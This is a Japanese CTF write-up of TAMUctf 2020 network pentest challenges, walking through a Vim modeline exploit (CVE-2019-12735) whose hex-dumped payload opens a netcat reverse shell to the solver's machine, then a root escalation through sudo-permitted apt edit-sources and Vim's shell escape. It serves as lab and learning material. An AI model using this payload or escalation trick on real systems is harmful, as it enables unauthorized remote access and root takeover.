TAMUctf 2020 - WriteUp
TAMUctf 2020に参加しました。NETWORK_PENTESTカテゴリーの問題分だけWriteup書きました。
NETWORK_PENTEST
LISTEN
与えられたovpnファイルを使ってVPNに接続する。
tanaka@tanaka-virtual-machine:~/TAMUctf2020$ sudo openvpn listen.ovpn (略)
tcpdumpコマンドで流れているパケットを取得し、pcapファイル内に含まれている文字列(というか文章)を確認する。
----------------------------------------------------------------------------------------------------- INT. WHITE HOUSE -CONFERENCE ROOM -DAY Joe meets with the CABINET MEMBERS. He looks frustrated, like this has been going on a while. JOE - Once again, I'm pretty sure all that Rauncho stuff might be what's killing the plants. SECRETARY OF DEFENSE - But Rauncho's got what plants crave. It's got electrolytes. ATTORNEY GENERAL - (thinking painfully hard)So wait a minute... You're saying you want us to put water on the crops? Water? Like out of the toilet? JOE - It doesn't have to be from the toilet, but yes, that's the idea. SECRETARY OF DEFENSE - Okay, but Rauncho's got what plants crave. ATTORNEY GENERAL - It's got electrolytes. JOE - Look, your plants aren't growing. So I'm pretty sure the Rauncho's not working. Now I'm no botanist, but I do know that if you put water on plants they grow. 14-YEAR-OLD - Like from the toilet? JOE - Look, you want to solve this problem, I want to get my pardon. So why don't we try it, and stop worrying about what "plants crave." ATTORNEY GENERAL - (helpful)Rauncho's got what plants crave. SECRETARY OF DEFENSE - Yeah, it's like the commercial says, "Plants work hard, and they need a drink that works hard." 14-YEAR-OLD - Oh, and it's got electrolytes. Joe's about to lose it. JOE - What areelectrolytes? Does anyone even know?! ATTORNEY GENERAL - They're what's in Rauncho. JOE - But what are they? ATTORNEY GENERAL - They're what they use to make Rauncho. JOE - But why do they use them to make Rauncho? SECRETARY OF DEFENSE - Cuz gigem{Raunch05_got_el3ctr0lytes} Joe looks around, sees acres and acres of crops being watered with Rauncho, getting an idea. -----------------------------------------------------------------------------------------------------
FLAGは gigem{Raunch05_got_el3ctr0lytes}
OBITUARY_1
Hey, shoot me over your latest version of the code. I have a simple nc session up, just pass it over when you're ready. You're using vim, right? You should use it; it'll change your life. I basically depend on it for everything these days! NOTE: This challenge is two parts. Flag one belongs to mwazoski. Flag two belongs to root.
netcatでセッションを張っているからコード(PoC?)を投げて来いや、とのこと。
Vimの話をしているので、Vimに関連する脆弱性を悪用するのか?と推測。MY_FIRST_BLOGが2019年の脆弱性ネタ(CVE-2019-16278)だったので、これも新しめな脆弱性に関連すると予想して "vim CVE-2020"
とか "vim CVE-2019"
で検索したら CVE-2019-12735
という脆弱性がヒットした。
(結構話題になっていた奴な気がするけどあまり覚えていなかった)
VimおよびNeovimに存在するOSコマンドインジェクションの脆弱性らしい。
以下の記事ではローカル環境の脆弱なNeovimでPoCを実行し、ncコマンドでセッションを張ってReverse Shellを受けている。これと同じ事をそのままリモート環境でやれば良さそう。
openvpnコマンドで用意された環境に接続する。自分のIPアドレスを確認する。
tanaka@tanaka-virtual-machine:~/TAMUctf2020$ sudo openvpn obituary.ovpn (略) (別のターミナルを実行) tanaka@tanaka-virtual-machine:~$ ifconfig (略) tap0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 172.30.0.14 netmask 255.255.255.240 broadcast 172.30.0.15 inet6 fe80::c8f1:87ff:fe4e:fbfe prefixlen 64 scopeid 0x20<link> ether ca:f1:87:4e:fb:fe txqueuelen 100 (イーサネット) RX packets 10 bytes 796 (796.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 48 bytes 6038 (6.0 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
nmapコマンドを実行する。ターゲットのIPアドレスはMY_FIRST_BLOGと同じく172.30.0.2だった。
tanaka@tanaka-virtual-machine:~$ nmap -A 172.30.0.2 Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-22 21:34 JST Nmap scan report for 172.30.0.2 Host is up (0.14s latency). Not shown: 927 closed ports, 72 filtered ports PORT STATE SERVICE VERSION 4321/tcp open rwhois? Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 234.58 seconds
172.30.0.2の4321番ポートが開いている。
以下のページにあるテキストファイル(shell.txt)を流用する。Reverse Shellを貼るIPアドレスだけ変更する。
自分のマシンは 172.30.0.14
なので、これに変更する。ポート番号はそのまま9999番を使用した。
tanaka@tanaka-virtual-machine:~/tools/CVE-2019-12735$ xxd shell.txt 00000000: 1b5b 3f37 6c1b 534e 6f74 6869 6e67 2068 .[?7l.SNothing h 00000010: 6572 652e 1b3a 7369 6c65 6e74 2120 7720 ere..:silent! w 00000020: 7c20 6361 6c6c 2073 7973 7465 6d28 276e | call system('n 00000030: 6f68 7570 206e 6320 3137 322e 3330 2e30 ohup nc 172.30.0 00000040: 2e31 3420 3939 3939 202d 6520 2f62 696e .14 9999 -e /bin 00000050: 2f73 6820 2627 2920 7c20 7265 6472 6177 /sh &') | redraw 00000060: 2120 7c20 6669 6c65 207c 2073 696c 656e ! | file | silen 00000070: 7421 2023 2022 2076 696d 3a20 7365 7420 t! # " vim: set 00000080: 6665 6e20 6664 6d3d 6578 7072 2066 6465 fen fdm=expr fde 00000090: 3d61 7373 6572 745f 6661 696c 7328 2773 =assert_fails('s 000000a0: 6574 5c20 6664 653d 785c 205c 7c5c 2073 et\ fde=x\ \|\ s 000000b0: 6f75 7263 655c 215c 205c 2527 2920 6664 ource\!\ \%') fd 000000c0: 6c3d 303a 2016 1b5b 3147 161b 5b4b 4e6f l=0: ..[1G..[KNo 000000d0: 7468 696e 6720 6865 7265 2e22 161b 5b44 thing here."..[D 000000e0: 200a .
更に別のターミナルを起動し、ncコマンドでListenする。オプションはGitHubにあったものをそのまま指定する。
tanaka@tanaka-virtual-machine:~$ nc -vlp 9999 Listening on [0.0.0.0] (family 0, port 9999)
ターゲットとなるマシン172.30.0.2の4321番ポートに対して、ncコマンド経由でshell.txtを流し込むと"succeeded!"というメッセージが表示された。
tanaka@tanaka-virtual-machine:~/tools/CVE-2019-12735$ cat shell.txt | nc -v 172.30.0.2 4321 Connection to 172.30.0.2 4321 port [tcp/*] succeeded!
ncコマンドでListenしていたターミナルを確認すると無事接続出来ている様子。
idコマンドの実行結果より、mwazowskiというユーザで接続しているらしい。
1問目のFLAGはmwazowskiというユーザのファイルに存在すると問題文に書かれていたので、mwazowskiのままファイルを探す。
tanaka@tanaka-virtual-machine:~$ nc -vlp 9999 Listening on [0.0.0.0] (family 0, port 9999) Connection from 172.30.0.2 36966 received! id uid=1000(mwazowski) gid=1000(mwazowski) groups=1000(mwazowski) pwd /tmp ls -la total 12 drwxrwxrwt 1 root root 4096 Mar 22 12:42 . drwxr-xr-x 1 root root 4096 Mar 22 12:33 .. -rw------- 1 mwazowski mwazowski 226 Mar 22 12:42 tmp.cFogrdHbn5 cat tmp.cFogrdHbn5 Nothing here." ls -la / total 80 drwxr-xr-x 1 root root 4096 Mar 22 12:33 . drwxr-xr-x 1 root root 4096 Mar 22 12:33 .. -rwxr-xr-x 1 root root 0 Mar 22 12:33 .dockerenv drwxr-xr-x 1 root root 4096 Mar 21 23:04 bin drwxr-xr-x 2 root root 4096 Feb 1 17:09 boot drwxr-xr-x 5 root root 340 Mar 22 12:35 dev drwxr-xr-x 1 root root 4096 Mar 22 12:33 etc drwxr-xr-x 1 root root 4096 Mar 21 23:04 home drwxr-xr-x 1 root root 4096 Mar 21 23:04 lib drwxr-xr-x 2 root root 4096 Feb 24 00:00 lib64 drwxr-xr-x 2 root root 4096 Feb 24 00:00 media drwxr-xr-x 2 root root 4096 Feb 24 00:00 mnt drwxr-xr-x 2 root root 4096 Feb 24 00:00 opt dr-xr-xr-x 1694 root root 0 Mar 22 12:35 proc drwx------ 1 root root 4096 Mar 21 23:04 root drwxr-xr-x 1 root root 4096 Mar 21 23:04 run drwxr-xr-x 2 root root 4096 Feb 24 00:00 sbin drwxr-xr-x 2 root root 4096 Feb 24 00:00 srv dr-xr-xr-x 13 root root 0 Mar 20 00:52 sys drwxrwxrwt 1 root root 4096 Mar 22 12:42 tmp drwxr-xr-x 1 root root 4096 Feb 24 00:00 usr drwxr-xr-x 1 root root 4096 Feb 24 00:00 var ls -la /home total 16 drwxr-xr-x 1 root root 4096 Mar 21 23:04 . drwxr-xr-x 1 root root 4096 Mar 22 12:33 .. drwxr-xr-x 1 mwazowski mwazowski 4096 Mar 22 12:42 mwazowski ls -la /home/mwazowski total 40 drwxr-xr-x 1 mwazowski mwazowski 4096 Mar 22 12:42 . drwxr-xr-x 1 root root 4096 Mar 21 23:04 .. -rw-r--r-- 1 mwazowski mwazowski 220 Apr 18 2019 .bash_logout -rw-r--r-- 1 mwazowski mwazowski 3526 Apr 18 2019 .bashrc -rw-r--r-- 1 mwazowski mwazowski 807 Apr 18 2019 .profile -rw------- 1 mwazowski mwazowski 1973 Mar 22 12:42 .viminfo -rw-rw-r-- 1 root root 28 Mar 19 00:40 flag.txt -rw-r--r-- 1 root root 96 Mar 21 23:04 manually_installed_packages.txt -rw-rw-r-- 1 root root 342 Mar 19 00:40 note_to_self.txt cat /home/mwazowski/flag.txt gigem{ca7_1s7_t0_mak3_suRe}
/home/mwazowskiディレクトリ配下にflag.txtがある。
FLAGは gigem{ca7_1s7_t0_mak3_suRe}
OBITUARY_2
Hey, shoot me over your latest version of the code. I have a simple nc session up, just pass it over when you're ready. You're using vim, right? You should use it; it'll change your life. I basically depend on it for everything these days! NOTE: This challenge is two parts. Flag one belongs to mwazoski. Flag two belongs to root.
OBITUARY_1の続きに当たる問題。FLAGは恐らくrootディレクトリ配下。
OBITUARY_1の方法でターゲットにアクセスし、そのまま調査を続ける。
uname -a Linux 6570b7f18d17 4.15.0-1063-aws #67-Ubuntu SMP Mon Mar 2 07:24:29 UTC 2020 x86_64 GNU/Linux cat /etc/os-release PRETTY_NAME="Debian GNU/Linux 10 (buster)" NAME="Debian GNU/Linux" VERSION_ID="10" VERSION="10 (buster)" VERSION_CODENAME=buster ID=debian HOME_URL="https://www.debian.org/" SUPPORT_URL="https://www.debian.org/support" BUG_REPORT_URL="https://bugs.debian.org/" ls -la /home/mwazowski total 40 drwxr-xr-x 1 mwazowski mwazowski 4096 Mar 29 11:26 . drwxr-xr-x 1 root root 4096 Mar 21 23:04 .. -rw-r--r-- 1 mwazowski mwazowski 220 Apr 18 2019 .bash_logout -rw-r--r-- 1 mwazowski mwazowski 3526 Apr 18 2019 .bashrc -rw-r--r-- 1 mwazowski mwazowski 807 Apr 18 2019 .profile -rw------- 1 mwazowski mwazowski 2496 Mar 29 11:26 .viminfo -rw-rw-r-- 1 root root 28 Mar 19 00:40 flag.txt -rw-r--r-- 1 root root 96 Mar 21 23:04 manually_installed_packages.txt -rw-rw-r-- 1 root root 342 Mar 19 00:40 note_to_self.txt cat manually_installed_packages.txt libgpm2 libtinfo5 lsb-base netcat python3 screen socat sudo vim vim-common vim-runtime wget xxd cat note_to_self.txt Apparently my packages are out of date. ITSEC is really throwing a fit about me needing to update since red team popped my box. I'm sending them my installed packages. I have no idea how these guys got root on my machine, my password is like 60 characters long. The only thing I have as nopasswd is apt, which I just use for updates anyway.
追加で幾つかのアプリケーションを追加でインストールしていることが分かる。sudoのバージョンが古いのが気になる。
sudo --version Sudo version 1.8.27 Sudoers policy plugin version 1.8.27 Sudoers file grammar version 46 Sudoers I/O plugin version 1.8.27
sudo 1.8.28以前のバージョンには、sudoersでroot実行不可に設定いるコマンドがroot権限で実行できてしまう脆弱性 CVE-2019-14287
が存在する。
しかし、sudo -lコマンドでsudoersの設定を確認したところ、root実行禁止を設定しているコマンドは無さそうだった。
代わりに、aptコマンドがパスワード無しでroot権限実行可能に設定されていることが分かった。
sudo -l Matching Defaults entries for mwazowski on 6570b7f18d17: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User mwazowski may run the following commands on 6570b7f18d17: (root) NOPASSWD: /usr/bin/apt
note_to_self.txt
に記載されていた以下の内容が気になる。aptコマンドはアップデートの為だけに使用されている云々とか。
I'm sending them my installed packages. I have no idea how these guys got root on my machine, my password is like 60 characters long. The only thing I have as nopasswd is apt, which I just use for updates anyway.
aptコマンド経由で/rootディレクトリ配下のファイルを読み込む事ができれば勝ちな気がする。
しかし、aptコマンドにファイルの読み書きを行う機能は恐らく存在しないと思う。
sudo apt apt 1.8.2 (amd64) Usage: apt [options] command apt is a commandline package manager and provides commands for searching and managing as well as querying information about packages. It provides the same functionality as the specialized APT tools, like apt-get and apt-cache, but enables options more suitable for interactive use by default. Most used commands: list - list packages based on package names search - search in package descriptions show - show package details install - install packages reinstall - reinstall packages remove - remove packages autoremove - Remove automatically all unused packages update - update list of available packages upgrade - upgrade the system by installing/upgrading packages full-upgrade - upgrade the system by removing/installing/upgrading packages edit-sources - edit the source information file See apt(8) for more information about the available commands. Configuration options and syntax is detailed in apt.conf(5). Information about how to configure sources can be found in sources.list(5). Package and version choices can be expressed via apt_preferences(5). Security details are available in apt-secure(8). This APT has Super Cow Powers.
しばらくaptコマンドのオプションとにらめっこしたあとで、 sudo apt edit-sources
を実行すると /etc/apt/sources.list をVimで開いて編集できる状態になることに気付いた。
この状態のVimからコマンドラインモード経由で /bin/bash が実行できないか試す。
Escapeキー + :!/bin/bash
を入力、実行するとroot権限で /bin/bash を実行することができた。
id uid=0(root) gid=0(root) groups=0(root)
あとはflag.txtを読むだけ。
FLAGは gigem{y0u_w0u1d_7h1nk_p3opl3_W0u1d_Kn0W_b3773r}
cat /root/flag.txt gigem{y0u_w0u1d_7h1nk_p3opl3_W0u1d_Kn0W_b3773r}
問題文の通り、OBITUARYは2問ともVimがキーになる問題だった。
(その他の参考情報)